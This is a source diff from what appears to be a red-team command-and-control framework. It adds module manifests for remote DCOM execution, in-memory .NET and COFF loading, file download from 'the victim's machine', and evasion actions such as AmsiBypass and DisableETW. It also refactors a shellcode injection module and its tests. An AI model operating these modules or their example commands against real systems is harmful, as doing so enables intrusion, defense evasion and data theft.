@@ -65,11 +65,11 @@ std::string CoffLoader::getInfo()
std::string info;
#ifdef BUILD_TEAMSERVER
info += "coffLoader:\n";
info += "Load a .o coff file and execute it.\n";
info += "Load a TeamServer-managed .o COFF/BOF tool artifact and execute it.\n";
info += "Coff take packed argument as entry, you get to specify the type as a string of [Z,z,s,i] for wstring, string, short, int.\n";
info += "exemple:\n";
info += "- coffLoader ./dir.x64.o go Zs c:\\ 0\n";
info += "- coffLoader ./whoami.x64.o\n";
info += "- coffLoader dir.x64.o go Zs c:\\ 0\n";
info += "- coffLoader whoami.x64.o go\n";
#endif
return info;
}
+47
View File
@@ -0,0 +1,47 @@
{
"name": "coffLoader",
"display_name": "coffLoader",
"kind": "module",
"description": "Load a TeamServer-managed COFF/BOF tool artifact and execute an exported function.",
"command_template": "coffLoader {coff_file:q} {function_name:q} {packed_arguments:raw?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "coff_file",
"type": "artifact",
"required": true,
"description": "COFF/BOF tool artifact from Tools compatible with the current session.",
"artifact_filter": {
"category": "tool",
"scope": "server",
"target": "teamserver",
"platform": "windows",
"arch": "session.arch",
"runtime": "any",
"format": "o",
"name_contains": ".o"
}
},
{
"name": "function_name",
"type": "text",
"required": true,
"description": "Exported function to execute, usually go."
},
{
"name": "packed_arguments",
"type": "text",
"required": false,
"description": "Optional COFF argument format and values.",
"variadic": true
}
],
"examples": [
"coffLoader whoami.x64.o go",
"coffLoader dir.x64.o go Zs c:\\ 0"
],
"source": "manifest"
}
+66
View File
@@ -0,0 +1,66 @@
{
"name": "dcomExec",
"display_name": "dcomExec",
"kind": "module",
"description": "Execute a command on a remote Windows host through DCOM.",
"command_template": "dcomExec -h {h:q} -c {c:q} [-a {a:q}] [-w {w:q}] [-k {k:q}] [-u {u:q}] [-p {p:q}] [-n {n:flag}]",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "-h",
"type": "flag",
"required": true,
"description": "Remote host name or IP."
},
{
"name": "-c",
"type": "flag",
"required": true,
"description": "Executable or command to start remotely."
},
{
"name": "-a",
"type": "flag",
"required": false,
"description": "Arguments passed to the remote command."
},
{
"name": "-w",
"type": "flag",
"required": false,
"description": "Remote working directory."
},
{
"name": "-k",
"type": "flag",
"required": false,
"description": "Kerberos SPN, for example HOST/server.domain."
},
{
"name": "-u",
"type": "flag",
"required": false,
"description": "Username for explicit credentials."
},
{
"name": "-p",
"type": "flag",
"required": false,
"description": "Password for explicit credentials."
},
{
"name": "-n",
"type": "flag",
"required": false,
"description": "Use no password/current credential behavior."
}
],
"examples": [
"dcomExec -h fileserver -c cmd.exe -a \"/c whoami\"",
"dcomExec -h fileserver -k HOST/fileserver.domain -u DOMAIN\\user -p Passw0rd -c cmd.exe -a \"/c whoami\""
],
"source": "manifest"
}
+6 -5
View File
@@ -159,9 +159,10 @@ std::string DotnetExec::getInfo()
info += "The execution occurred in the current process.\n";
info += "Once an assembly is loaded, it can be reused using its assigned short name.\n\n";
info += "Usage:\n";
info += " dotnetExec load <moduleShortName> <inputFile> <typeForDll>\n";
info += " - Load a .NET assembly (EXE or DLL) into memory.\n";
info += "Usage:\n";
info += " dotnetExec load <moduleShortName> <toolArtifact> <typeForDll>\n";
info += " - Load a .NET assembly (EXE or DLL) into memory.\n";
info += " - The TeamServer resolves the assembly from Tools/<platform>/<arch>.\n";
info += " - For DLLs, you must specify the fully-qualified type name (e.g., Namespace.ClassName).\n\n";
info += " dotnetExec runExe <moduleShortName> <arguments>\n";
@@ -172,9 +173,9 @@ std::string DotnetExec::getInfo()
info += " - You must have specified the type when loading the DLL.\n\n";
info += "Examples:\n";
info += " dotnetExec load mytool ./Tool.exe\n";
info += " dotnetExec load mytool Tool.exe\n";
info += " dotnetExec runExe mytool \"--list --verbose\"\n\n";
info += " dotnetExec load libmodule ./Library.dll MyNamespace.MyClass\n";
info += " dotnetExec load libmodule Library.dll MyNamespace.MyClass\n";
info += " dotnetExec runDll libmodule Run \"param1 param2\"\n\n";
info += "Notes:\n";
+74
View File
@@ -0,0 +1,74 @@
{
"name": "dotnetExec",
"display_name": "dotnetExec",
"kind": "module",
"description": "Load and execute .NET assemblies in memory. Assembly load inputs are resolved from Tools by the TeamServer.",
"command_template": "dotnetExec {action} {module_name:q} {assembly_artifact:q?} {type_or_method:q?} {arguments:raw?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "action",
"type": "enum",
"required": true,
"description": "DotnetExec action.",
"values": ["load", "runExe", "runDll"]
},
{
"name": "module_name",
"type": "text",
"required": true,
"description": "Short name for a loaded assembly."
},
{
"name": "assembly_artifact",
"type": "artifact",
"required": false,
"description": "Assembly tool artifact for load.",
"artifact_filters": [
{
"category": "tool",
"scope": "server",
"target": "teamserver",
"platform": "windows",
"arch": "session.arch",
"runtime": "any",
"format": "exe",
"name_contains": ".exe"
},
{
"category": "tool",
"scope": "server",
"target": "teamserver",
"platform": "windows",
"arch": "session.arch",
"runtime": "any",
"format": "dll",
"name_contains": ".dll"
}
]
},
{
"name": "type_or_method",
"type": "text",
"required": false,
"description": "DLL type for load, or method name for runDll."
},
{
"name": "arguments",
"type": "text",
"required": false,
"description": "Optional runExe/runDll argument tail.",
"variadic": true
}
],
"examples": [
"dotnetExec load seatbelt Seatbelt.exe",
"dotnetExec load tool Tool.dll Namespace.Type",
"dotnetExec runExe seatbelt -- -group=system",
"dotnetExec runDll tool Run arg1 arg2"
],
"source": "manifest"
}
+7 -3
View File
@@ -47,13 +47,13 @@ std::string Download::getInfo()
std::string info;
#ifdef BUILD_TEAMSERVER
info += "Download Module:\n";
info += "Retrieve a file from the victim's machine and save it to the attacker's machine.\n";
info += "Retrieve a file from the victim's machine and register it as a generated TeamServer artifact.\n";
info += "Large files are automatically split into 2MB chunks and transferred over multiple check-ins.\n";
info += "\nUsage example:\n";
info += " - download C:\\Temp\\toto.exe /tmp/toto.exe\n";
info += " - download C:\\Temp\\toto.exe toto.exe\n";
info += "\nArguments:\n";
info += " <sourcePath> Path to the file on the victim's machine\n";
info += " <destPath> Destination path on the attacker's machine\n";
info += " <artifactName> Optional generated artifact filename hint\n";
#endif
return info;
}
@@ -98,6 +98,8 @@ int Download::recurringExec(C2Message& c2RetMessage)
{
c2RetMessage.set_instruction(std::to_string(moduleHash));
c2RetMessage.set_cmd("");
c2RetMessage.set_uuid(m_taskUuid);
c2RetMessage.set_inputfile(m_inputfile);
c2RetMessage.set_outputfile(m_outputfile);
std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead));
@@ -146,7 +148,9 @@ int Download::process(C2Message &c2Message, C2Message &c2RetMessage)
c2RetMessage.set_cmd("");
c2RetMessage.set_inputfile(c2Message.inputfile());
c2RetMessage.set_outputfile(c2Message.outputfile());
m_inputfile = c2Message.inputfile();
m_outputfile = c2Message.outputfile();
m_taskUuid = c2Message.uuid();
std::string inputFile = c2Message.inputfile();
+2
View File
@@ -23,7 +23,9 @@ public:
}
private:
std::string m_inputfile;
std::string m_outputfile;
std::string m_taskUuid;
std::ofstream m_output;
std::ifstream m_input;
std::streamsize m_fileSize;
+30
View File
@@ -0,0 +1,30 @@
{
"name": "download",
"display_name": "download",
"kind": "module",
"description": "Download a remote file from the beacon.",
"command_template": "download {remote_path:q} {artifact_name:q?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "remote_path",
"type": "path",
"required": true,
"description": "Path of the file on the beacon."
},
{
"name": "artifact_name",
"type": "text",
"required": false,
"description": "Optional generated artifact filename hint. The TeamServer controls the storage path."
}
],
"examples": [
"download /tmp/file.txt",
"download C:\\Temp\\file.txt file.txt"
],
"source": "manifest"
}
+3
View File
@@ -70,12 +70,15 @@ bool testDownload() {
std::vector<std::string> cmd = {"download", src.string(), dst.string()};
C2Message msg, ret;
dl.init(cmd, msg);
msg.set_uuid("download-uuid");
dl.process(msg, ret);
dl.followUp(ret);
std::cout << "large first ret: " << ret.returnvalue() << " ec=" << ret.errorCode() << std::endl;
while(ret.returnvalue() != "Success") {
C2Message next;
dl.recurringExec(next);
ok &= next.uuid() == "download-uuid";
ok &= next.inputfile() == src.string();
dl.followUp(next);
ret = next;
}
@@ -0,0 +1,31 @@
{
"name": "enumerateRdpSessions",
"display_name": "enumerateRdpSessions",
"kind": "module",
"description": "Enumerate local or remote RDP sessions using the Windows WTS APIs.",
"command_template": "enumerateRdpSessions [-s {s:q}]",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "-s",
"type": "flag",
"required": false,
"description": "Target host name or IP. Defaults to the local system."
},
{
"name": "server",
"type": "text",
"required": false,
"description": "Optional target host name or IP."
}
],
"examples": [
"enumerateRdpSessions",
"enumerateRdpSessions -s fileserver",
"enumerateRdpSessions fileserver"
],
"source": "manifest"
}
@@ -0,0 +1,24 @@
{
"name": "enumerateShares",
"display_name": "enumerateShares",
"kind": "module",
"description": "Enumerate SMB shares from the beacon context.",
"command_template": "enumerateShares {host:q?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "host",
"type": "text",
"required": false,
"description": "Optional remote host to enumerate. Empty value enumerates from the local context."
}
],
"examples": [
"enumerateShares",
"enumerateShares fileserver"
],
"source": "manifest"
}
+49
View File
@@ -0,0 +1,49 @@
{
"name": "evasion",
"display_name": "evasion",
"kind": "module",
"description": "Run an evasion action on the beacon.",
"command_template": "evasion {action} {address:q?} {value:q?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "action",
"type": "enum",
"required": true,
"description": "Evasion action.",
"values": [
"CheckHooks",
"DisableETW",
"Unhook",
"UnhookPerunsFart",
"AmsiBypass",
"Introspection",
"ReadMemory",
"PatchMemory",
"RemotePatch"
]
},
{
"name": "address",
"type": "text",
"required": false,
"description": "Module name, address, or target value required by selected actions."
},
{
"name": "value",
"type": "text",
"required": false,
"description": "Size or patch bytes required by memory actions."
}
],
"examples": [
"evasion CheckHooks",
"evasion DisableETW",
"evasion ReadMemory 0x123456 20",
"evasion PatchMemory 0x123456 \\x90\\x90\\x90\\x90"
],
"source": "manifest"
}
+16
View File
@@ -0,0 +1,16 @@
{
"name": "getEnv",
"display_name": "getEnv",
"kind": "module",
"description": "List environment variables available to the beacon process.",
"command_template": "getEnv",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [],
"examples": [
"getEnv"
],
"source": "manifest"
}
+2 -2
View File
@@ -19,7 +19,7 @@ endif()
set_property(TARGET Inject PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
if(C2CORE_BUILD_TESTS OR C2CORE_BUILD_FUNCTIONAL_TESTS)
if((C2CORE_BUILD_TESTS OR C2CORE_BUILD_FUNCTIONAL_TESTS) AND NOT WIN32)
target_link_libraries(Inject PRIVATE Donut )
endif()
c2core_disable_safeseh_for_x86(Inject)
@@ -36,7 +36,7 @@ endif()
if(C2CORE_BUILD_TESTS)
if(WIN32)
add_executable(testsInject tests/testsInject.cpp Inject.cpp ../ModuleCmd/syscall.cpp ${SYSCALL_OBJ})
target_link_libraries(testsInject PRIVATE Donut )
target_link_libraries(testsInject PRIVATE Donut)
c2core_disable_safeseh_for_x86(testsInject)
add_dependencies(testsInject dummyInject)
target_compile_definitions(testsInject PRIVATE C2_INJECT_DUMMY_EXE="$<TARGET_FILE:dummyInject>")
+93 -130
View File
@@ -1,9 +1,14 @@
#include "Inject.hpp"
#include <cstring>
#include <filesystem>
#include <iterator>
#include "Common.hpp"
#include "InjectCommandOptions.hpp"
#ifndef _WIN32
#include "Tools.hpp"
#endif
using namespace std;
@@ -74,148 +79,106 @@ std::string Inject::getInfo()
info += "inject:\n";
info += "Inject shellcode in the pid process. For linux must be root or at least have ptrace capability.\n";
info += "No output is provided.\n";
info += "Use -r to use a shellcode file.\n";
info += "If -e or -d are given, use donut to create the shellcode.\n";
info += "Use --raw to use a shellcode file.\n";
info += "If --donut-exe or --donut-dll are given, the TeamServer creates the shellcode.\n";
info += "If pid is negative a new process is created for the injection.\n";
info += "exemple:\n";
info += "- inject -r ./calc.bin 2568\n";
info += "- inject -e ./beacon.exe pid arg1 arg2\n";
info += "- inject -d ./calc.dll pid method arg1 arg2\n";
info += "- inject --raw ./calc.bin --pid 2568\n";
info += "- inject --donut-exe ./beacon.exe --pid 2568 -- arg1 arg2\n";
info += "- inject --donut-dll ./calc.dll --pid -1 --method EntryPoint -- arg1 arg2\n";
#endif
return info;
}
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
namespace
{
std::string resolvePayloadPath(
const std::string& inputFile,
const std::string& toolsDirectoryPath,
const std::string& windowsBeaconsDirectoryPath,
const std::string& windowsArch)
{
if (inputFile.empty())
return "";
if (std::filesystem::exists(inputFile))
return inputFile;
std::filesystem::path toolsPath = std::filesystem::path(toolsDirectoryPath) / inputFile;
if (std::filesystem::exists(toolsPath))
return toolsPath.string();
std::filesystem::path beaconPath = std::filesystem::path(windowsBeaconsDirectoryPath) / inputFile;
if (std::filesystem::exists(beaconPath))
return beaconPath.string();
std::filesystem::path archBeaconPath = std::filesystem::path(windowsBeaconsDirectoryPath) / windowsArch / inputFile;
if (std::filesystem::exists(archBeaconPath))
return archBeaconPath.string();
return inputFile;
}
std::string readBinaryFile(const std::string& path)
{
std::ifstream input(path, std::ios::binary);
return std::string(std::istreambuf_iterator<char>(input), std::istreambuf_iterator<char>());
}
} // namespace
int Inject::initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message)
{
if (task.payload.empty())
{
c2Message.set_returnvalue("Shellcode payload is empty.");
return -1;
}
c2Message.set_pid(task.pid);
c2Message.set_cmd(task.displayCommand);
c2Message.set_instruction(std::string(moduleName));
c2Message.set_inputfile(task.inputFile);
c2Message.set_data(task.payload.data(), task.payload.size());
return 0;
}
#endif
int Inject::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
if (splitedCmd.size() >= 4)
inject_command::CommandOptions options = inject_command::parseCommandOptions(splitedCmd);
if (!options.error.empty())
{
bool donut=false;
std::string inputFile=splitedCmd[2];
std::string method;
std::string args;
int pid=-1;
try
{
pid = stoi(splitedCmd[3]);
}
catch (...)
{
std::string msg = "Pid must be an integer.\n";
c2Message.set_returnvalue(msg);
return -1;
}
if(splitedCmd[1]=="-e")
{
donut=true;
for (int idx = 4; idx < splitedCmd.size(); idx++)
{
if(!args.empty())
args+=" ";
args+=splitedCmd[idx];
}
}
else if(splitedCmd[1]=="-d")
{
donut=true;
if(splitedCmd.size() > 4)
method=splitedCmd[4];
else
{
std::string msg = "Method is mandatory for DLL.\n";
c2Message.set_returnvalue(msg);
return -1;
}
for (int idx = 5; idx < splitedCmd.size(); idx++)
{
if(!args.empty())
args+=" ";
args+=splitedCmd[idx];
}
}
else if(splitedCmd[1]=="-r")
{
}
else
{
std::string msg = "One of the tags, -r, -e or -d must be provided.\n";
c2Message.set_returnvalue(msg);
return -1;
}
if(inputFile.empty())
{
std::string msg = "A file name have to be provided.\n";
c2Message.set_returnvalue(msg);
return -1;
}
std::ifstream myfile;
myfile.open(inputFile);
if(!myfile)
{
std::string newInputFile=m_toolsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string newInputFile=m_windowsBeaconsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string msg = "Couldn't open file.\n";
c2Message.set_returnvalue(msg);
return -1;
}
myfile.close();
std::string payload;
if(donut)
{
creatShellCodeDonut(inputFile, method, args, payload, true, false, m_windowsArch);
}
else
{
std::ifstream input(inputFile, std::ios::binary);
std::string payload_(std::istreambuf_iterator<char>(input), {});
payload=payload_;
}
if(payload.size()==0)
{
std::string msg = "Something went wrong. Payload empty.\n";
c2Message.set_returnvalue(msg);
return -1;
}
std::string cmd;
for (int idx = 1; idx < splitedCmd.size(); idx++)
{
cmd+=splitedCmd[idx];
cmd+=" ";
}
c2Message.set_pid(pid);
c2Message.set_cmd(cmd);
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_data(payload.data(), payload.size());
}
else
{
c2Message.set_returnvalue(getInfo());
c2Message.set_returnvalue(options.error + "\n");
return -1;
}
if (options.generator != "raw")
{
c2Message.set_returnvalue("Donut shellcode generation is handled by the TeamServer shellcode service.\n");
return -1;
}
const std::string inputFile = resolvePayloadPath(options.sourcePath, m_toolsDirectoryPath, m_windowsBeaconsDirectoryPath, m_windowsArch);
std::ifstream myfile(inputFile, std::ios::binary);
if(!myfile)
{
c2Message.set_returnvalue("Couldn't open file.\n");
return -1;
}
myfile.close();
ModulePreparedShellcodeTask task;
task.inputFile = inputFile;
task.payload = readBinaryFile(inputFile);
task.pid = options.pid;
task.displayCommand = options.displayCommand;
if (task.payload.empty())
{
c2Message.set_returnvalue("Something went wrong. Payload empty.\n");
return -1;
}
return initPreparedShellcode(task, c2Message);
#endif
return 0;
}
+3
View File
@@ -17,6 +17,9 @@ public:
int initConfig(const nlohmann::json &config);
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override;
#endif
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override;
int osCompatibility()
+226
View File
@@ -0,0 +1,226 @@
#pragma once
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
#include <algorithm>
#include <cctype>
#include <cstddef>
#include <string>
#include <vector>
namespace inject_command
{
struct CommandOptions
{
int pid = -1;
bool hasPid = false;
std::string generator = "raw";
std::string sourceType = "raw";
std::string sourcePath;
std::string method;
std::string arguments;
std::string displayCommand;
std::string error;
};
inline std::string lowerCopy(std::string value)
{
std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c)
{
return static_cast<char>(std::tolower(c));
});
return value;
}
inline std::string joinCommandTail(const std::vector<std::string>& parts, size_t start)
{
std::string result;
for (size_t index = start; index < parts.size(); ++index)
{
if (!result.empty())
result += " ";
result += parts[index];
}
return result;
}
inline bool parsePidValue(const std::string& value, int& pid)
{
try
{
size_t parsed = 0;
const int parsedPid = std::stoi(value, &parsed);
if (parsed != value.size())
return false;
pid = parsedPid;
return true;
}
catch (...)
{
return false;
}
}
inline bool setPid(CommandOptions& options, const std::string& value)
{
int pid = -1;
if (!parsePidValue(value, pid))
{
options.error = "Pid must be an integer.";
return false;
}
options.pid = pid;
options.hasPid = true;
return true;
}
inline bool setSource(CommandOptions& options, const std::vector<std::string>& tokens, size_t& index, const std::string& token)
{
if (++index >= tokens.size())
{
options.error = token + " requires a file path.";
return false;
}
options.sourcePath = tokens[index];
if (token == "--raw" || token == "-r")
{
options.generator = "raw";
options.sourceType = "raw";
}
else if (token == "--donut-exe" || token == "-e")
{
options.generator = "donut";
options.sourceType = "dotnet_exe";
}
else if (token == "--donut-dll" || token == "-d")
{
options.generator = "donut";
options.sourceType = "dotnet_dll";
}
return true;
}
inline CommandOptions parseCommandOptions(const std::vector<std::string>& tokens)
{
CommandOptions options;
options.displayCommand = joinCommandTail(tokens, 1);
for (size_t index = 1; index < tokens.size(); ++index)
{
const std::string& token = tokens[index];
if (token == "--")
{
options.arguments = joinCommandTail(tokens, index + 1);
break;
}
if (token == "--pid")
{
if (++index >= tokens.size())
{
options.error = "--pid requires a value.";
return options;
}
if (!setPid(options, tokens[index]))
return options;
}
else if (token == "--raw" || token == "-r")
{
if (!setSource(options, tokens, index, token))
return options;
if (token == "-r")
{
if (++index >= tokens.size())
{
options.error = "Pid must be an integer.";
return options;
}
if (!setPid(options, tokens[index]))
return options;
}
}
else if (token == "--donut-exe" || token == "-e")
{
if (!setSource(options, tokens, index, token))
return options;
if (token == "-e")
{
if (++index >= tokens.size())
{
options.error = "Pid must be an integer.";
return options;
}
if (!setPid(options, tokens[index]))
return options;
options.arguments = joinCommandTail(tokens, index + 1);
break;
}
}
else if (token == "--donut-dll" || token == "-d")
{
if (!setSource(options, tokens, index, token))
return options;
if (token == "-d")
{
if (++index >= tokens.size())
{
options.error = "Pid must be an integer.";
return options;
}
if (!setPid(options, tokens[index]))
return options;
if (++index >= tokens.size())
{
options.error = "Method is mandatory for DLL.";
return options;
}
options.method = tokens[index];
options.arguments = joinCommandTail(tokens, index + 1);
break;
}
}
else if (token == "--method")
{
if (++index >= tokens.size())
{
options.error = "--method requires a value.";
return options;
}
options.method = tokens[index];
}
else
{
int positionalPid = -1;
if (!options.hasPid && parsePidValue(token, positionalPid))
{
options.pid = positionalPid;
options.hasPid = true;
}
else
{
options.error = "Unknown inject option: " + token;
return options;
}
}
}
if (options.sourcePath.empty())
{
options.error = "A payload source must be provided.";
return options;
}
if (!options.hasPid)
{
options.error = "Pid must be an integer.";
return options;
}
if (options.sourceType == "dotnet_dll" && options.method.empty())
{
options.error = "Method is mandatory for DLL.";
return options;
}
return options;
}
} // namespace inject_command
#endif
+110
View File
@@ -0,0 +1,110 @@
{
"name": "inject",
"display_name": "inject",
"kind": "module",
"description": "Inject prepared shellcode into an existing process or a newly spawned process. Donut inputs are prepared by the TeamServer shellcode service before the task is sent to the beacon.",
"command_template": "inject --pid {pid} [--raw {raw:q}] [--donut-exe {donut_exe:q}] [--donut-dll {donut_dll:q}] [--method {method:q}] [-- {arguments:raw}]",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "--pid",
"type": "flag",
"required": true,
"description": "Target process id. Use a negative value to spawn the configured process before injection."
},
{
"name": "--raw",
"type": "flag",
"required": false,
"description": "Use an existing raw shellcode file on the TeamServer.",
"artifact_filter": {
"category": "tool",
"scope": "server",
"target": "teamserver",
"platform": "windows",
"arch": "session.arch",
"runtime": "any",
"format": "bin",
"name_contains": ".bin"
}
},
{
"name": "--donut-exe",
"type": "flag",
"required": false,
"description": "Generate shellcode from an executable on the TeamServer.",
"artifact_filters": [
{
"category": "tool",
"scope": "server",
"target": "teamserver",
"platform": "windows",
"arch": "session.arch",
"runtime": "any",
"format": "exe",
"name_contains": ".exe"
},
{
"category": "beacon",
"scope": "implant",
"target": "listener",
"platform": "windows",
"arch": "session.arch",
"runtime": "native",
"format": "exe",
"name_contains": ".exe"
}
]
},
{
"name": "--donut-dll",
"type": "flag",
"required": false,
"description": "Generate shellcode from a DLL on the TeamServer.",
"artifact_filter": {
"category": "tool",
"scope": "server",
"target": "teamserver",
"platform": "windows",
"arch": "session.arch",
"runtime": "any",
"format": "dll",
"name_contains": ".dll"
}
},
{
"name": "source_path",
"type": "path",
"required": true,
"description": "Raw shellcode, executable, or DLL path on the TeamServer."
},
{
"name": "pid",
"type": "number",
"required": true,
"description": "Target process id."
},
{
"name": "--method",
"type": "flag",
"required": false,
"description": "Required for --donut-dll."
},
{
"name": "arguments",
"type": "text",
"required": false,
"description": "Arguments passed to the Donut source after --.",
"variadic": true
}
],
"examples": [
"inject --raw shellcode.bin --pid 4321",
"inject --donut-exe Seatbelt.exe --pid 4321 -- -group=system",
"inject --donut-dll Tool.dll --pid -1 --method EntryPoint -- arg1 arg2"
],
"source": "manifest"
}
@@ -1,6 +1,8 @@
#include "../../Inject.hpp"
#include "../../../AssemblyExec/tests/AssemblyExecTestShellcodeGenerator.hpp"
#include "../../../tests/FunctionalTestHelpers.hpp"
#include <filesystem>
#include <iostream>
#include <string>
#include <vector>
@@ -44,6 +46,31 @@ bool isTruthy(const std::string& value)
{
return value == "1" || value == "true" || value == "TRUE" || value == "yes" || value == "YES";
}
std::string currentWindowsArch()
{
#if defined(_M_ARM64) || defined(__aarch64__)
return "arm64";
#elif defined(_M_IX86) || defined(__i386__)
return "x86";
#else
return "x64";
#endif
}
bool parsePid(const std::string& value, int& pid)
{
try
{
size_t parsed = 0;
pid = std::stoi(value, &parsed);
return parsed == value.size();
}
catch (...)
{
return false;
}
}
}
int main(int argc, char** argv)
@@ -97,45 +124,58 @@ int main(int argc, char** argv)
return skipMissing("testsInjectFunctional", missing);
}
std::vector<std::string> command = {"inject"};
Inject module;
C2Message message;
std::filesystem::path generatedPath;
if (kind == "raw")
{
command.push_back("-r");
command.push_back(payload);
}
else if (kind == "dll")
{
command.push_back("-d");
command.push_back(payload);
command.push_back(pid);
command.push_back(method);
if (!arguments.empty())
std::vector<std::string> command = {"inject", "-r", payload, pid};
if (module.init(command, message) != 0)
{
command.push_back(arguments);
std::cerr << "testsInjectFunctional init failed:\n" << message.returnvalue() << '\n';
return 1;
}
}
else
{
command.push_back("-e");
command.push_back(payload);
command.push_back(pid);
if (!arguments.empty())
int parsedPid = -1;
if (!parsePid(pid, parsedPid))
{
command.push_back(arguments);
std::cerr << "testsInjectFunctional invalid pid: " << pid << '\n';
return 1;
}
}
if (kind == "raw")
{
command.push_back(pid);
}
assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest(
payload,
kind == "dll" ? method : "",
arguments,
currentWindowsArch(),
true);
if (!generated.ok)
{
#ifndef _WIN32
std::cout << "testsInjectFunctional skipped: " << generated.error << '\n';
return skipReturnCode;
#else
std::cerr << "testsInjectFunctional Donut preparation failed:\n" << generated.error << '\n';
return 1;
#endif
}
Inject module;
C2Message message;
if (module.init(command, message) != 0)
{
std::cerr << "testsInjectFunctional init failed:\n" << message.returnvalue() << '\n';
return 1;
generatedPath = generated.path;
ModulePreparedShellcodeTask task;
task.inputFile = generated.path.string();
task.payload = generated.bytes;
task.pid = parsedPid;
task.displayCommand = kind == "dll"
? "--donut-dll " + payload + " --pid " + pid + " --method " + method + " -- " + arguments
: "--donut-exe " + payload + " --pid " + pid + " -- " + arguments;
if (module.initPreparedShellcode(task, message) != 0)
{
std::cerr << "testsInjectFunctional prepared init failed:\n" << message.returnvalue() << '\n';
std::filesystem::remove(generatedPath);
return 1;
}
}
std::cout << "testsInjectFunctional init OK\n";
@@ -145,6 +185,10 @@ int main(int argc, char** argv)
if (!execute)
{
std::cout << "execution skipped; pass --execute to run the module process path.\n";
if (!generatedPath.empty())
{
std::filesystem::remove(generatedPath);
}
return 0;
}
@@ -165,5 +209,9 @@ int main(int argc, char** argv)
C2Message result;
module.process(message, result);
std::cout << result.returnvalue() << '\n';
if (!generatedPath.empty())
{
std::filesystem::remove(generatedPath);
}
return 0;
}
+75 -4
View File
@@ -1,4 +1,5 @@
#include "../Inject.hpp"
#include "../../AssemblyExec/tests/AssemblyExecTestShellcodeGenerator.hpp"
#include "../../tests/TestHelpers.hpp"
#include <filesystem>
@@ -39,6 +40,41 @@ bool expectInjectMessage(const C2Message& message,
return ok;
}
#ifdef _WIN32
bool expectPreparedDonutMessage(const std::filesystem::path& sourcePath,
int expectedPid,
const std::string& arguments,
const std::string& arch,
const std::string& displayCommand,
const std::string& label)
{
bool ok = true;
assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest(
sourcePath.string(),
"",
arguments,
arch,
true);
ok &= expect(generated.ok, label + ": Donut test shellcode should be generated: " + generated.error);
if (!ok)
return false;
Inject module;
ModulePreparedShellcodeTask task;
task.inputFile = generated.path.string();
task.payload = generated.bytes;
task.pid = expectedPid;
task.displayCommand = displayCommand;
C2Message message;
ok &= expect(module.initPreparedShellcode(task, message) == 0, label + ": prepared shellcode should be packed");
ok &= expectInjectMessage(message, generated.path, expectedPid, displayCommand, label);
ok &= expect(message.data() == generated.bytes, label + ": generated shellcode bytes should be packed");
std::filesystem::remove(generated.path);
return ok;
}
#endif
#ifdef _WIN32
class ChildProcess
{
@@ -166,7 +202,7 @@ int main()
C2Message message;
ok &= expect(module.init(cmd, message) == -1, "unknown payload option should be rejected");
ok &= expect(message.returnvalue().find("One of the tags") != std::string::npos, "unknown payload option should explain accepted tags");
ok &= expect(message.returnvalue().find("Unknown inject option") != std::string::npos, "unknown payload option should explain the failure");
}
{
@@ -178,6 +214,24 @@ int main()
ok &= expect(message.returnvalue().find("Method is mandatory") != std::string::npos, "DLL mode should explain missing method");
}
{
Inject module;
std::vector<std::string> cmd = {"inject", "--donut-exe", "payload.exe", "--pid", "1234", "--", "alpha", "beta"};
C2Message message;
ok &= expect(module.init(cmd, message) == -1, "Donut EXE mode should be delegated to TeamServer");
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "Donut delegation should explain TeamServer ownership");
}
{
Inject module;
std::vector<std::string> cmd = {"inject", "--donut-dll", "payload.dll", "--pid", "1234", "--method", "Run"};
C2Message message;
ok &= expect(module.init(cmd, message) == -1, "Donut DLL mode should be delegated to TeamServer");
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "Donut DLL delegation should explain TeamServer ownership");
}
{
const auto raw = writeTempFile("c2core_inject_empty_raw.bin", "");
Inject module;
@@ -226,11 +280,28 @@ int main()
{
Inject module;
module.setWindowsArch(currentArch);
